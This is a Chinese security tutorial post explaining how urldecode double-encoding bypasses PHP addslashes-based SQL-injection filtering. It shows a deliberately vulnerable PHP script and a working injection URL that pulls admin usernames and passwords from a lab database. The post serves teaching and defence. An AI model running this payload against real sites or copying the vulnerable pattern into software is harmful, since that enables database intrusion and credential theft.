白帽子分享之代码的艺术系列—第二篇

boyanx4个月前技术教程16

0x01 前言

现在的WEB程序基本都有对SQL注入的全局过滤,运维人员配置PHP环境是一般会开启魔术引号GPC,即magic_quotes_gpc=On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( 字符)等字符都会被加上反斜线进行转义处理。不过GPC在PHP5.4版本后就取消了,所以现在一般都用addslashes函数来代替GPC进行过滤处理。目前用PHP开发的应用一般是MVC的框架模式进行开发,对GET、POST和COOKIE等传递的参数通常使用addslashes函数进行转义,并引入一个类似common.php的文件进行处理addslashes函数对接收的参数进行过滤,尤其是单引号。处理代码如下:

if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE = addslashes_deep($_COOKIE);
}
...
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
if (!get_magic_quotes_gpc)
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
else
{
$value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
}
return $value;
}
}

addslashes_deep函数会判断GPC是否开启,如果没有开启就会对GET、POST和COOKIE传递的参数进行转义。然而仅仅使用这种方式会存在很多绕过的情况。接下来两篇会介绍这种防护下的存在被绕过的一些场景和案例~,这里有几篇确定好。

0x02 准备

知识储备:php基础、MySql入门

工具:notepad++

服务器环境:wamp

测试代码和sql:微信回复『代码2 需要更新。

0x03 全局防护Bypass上篇的脑图

0x04 编码解码函数导致的Bypass

一些编码解码的函数像urldecode、base64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
//这里使用了urldecode进行解码
$id = isset($_GET['id']) ? urldecode($_GET['id']) : 1;
//这里的sql语句有单引号保护,即特殊字符像单引号就会通过addslashes的处理
$sql = "SELECT * FROM news WHERE id='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error);
?>

说明单引号经过了addslashes函数的转义,我们查下sql查询的日志,确实是对单引号进行转义处理了:

SELECT * FROM news WHERE id='1\''

这种报错在安全测试人员眼里就是注入的标志。进一步观察数据库,发现除了news表外还有个admin表,我们可以构造获取管理员账户密码的语句”
http://localhost/sqltest/urldecode.php?id=1%2527union select 1,2,concat(name,0x23,pass) from admin%23”

对应执行的sql语句:

SELECT SQL_CALC_FOUND_ROWS * FROM news WHERE id = '-1' union select 1 , 2, concat( name, 0x23, pass ) from admin

今天的内容就这里,大家有兴趣的可以评论或者留言,可以跟作者互动,谢谢你的转发和关注。:)

301强烈推荐内容,想必您会喜欢

长按二维码,关注301在路上。

微信:2036234

相关文章

【网络安全】CVE漏洞分析以及复现

漏洞详情Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。漏洞影响版本Shiro 1.0.0-incubating对应 Ma...

记一次靶场实战【网络安全】_网络靶场 攻防演练

前言【一一帮助安全学习,所有资源关注我,私信回复“资料”免费领取一一】①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦10...

Python内置模块base64 :Base16, Base32, Base64, Base85 编码详解

目录知识导图Base编码概述base64模块详解各编码方式详解应用案例扩展应用学习路线与总结知识导图Base编码概述Base编码是一种将二进制数据转换为ASCII字符串的编码方式,主要用于在需要文本协...

PHP cookie技术_php中cookie的值存储在哪

Cookie(小甜饼)是客户端技术, 服务器把每个用户的数据以cookie的形式写给用户各自的浏览器。当用户使用浏览器再去访问服务器中的web资源时, 就会带着各自的数据去。cookie技术理解:1...

解锁WiFi密码,我只用了60行代码....

程序员宝藏库:https://github.com/Jackpopc/CS-Books-StoreWiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连...

12.图像编码解码-imencode-imdecode-base64

视频:12.图像编码解码# cv2.imdecode()函数 # 从指定的内存缓存中读取数据,并把数据转换(解码)成图像格式;主要用于从网络传输数据中恢复出图像。 # cv2.imencode()函...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。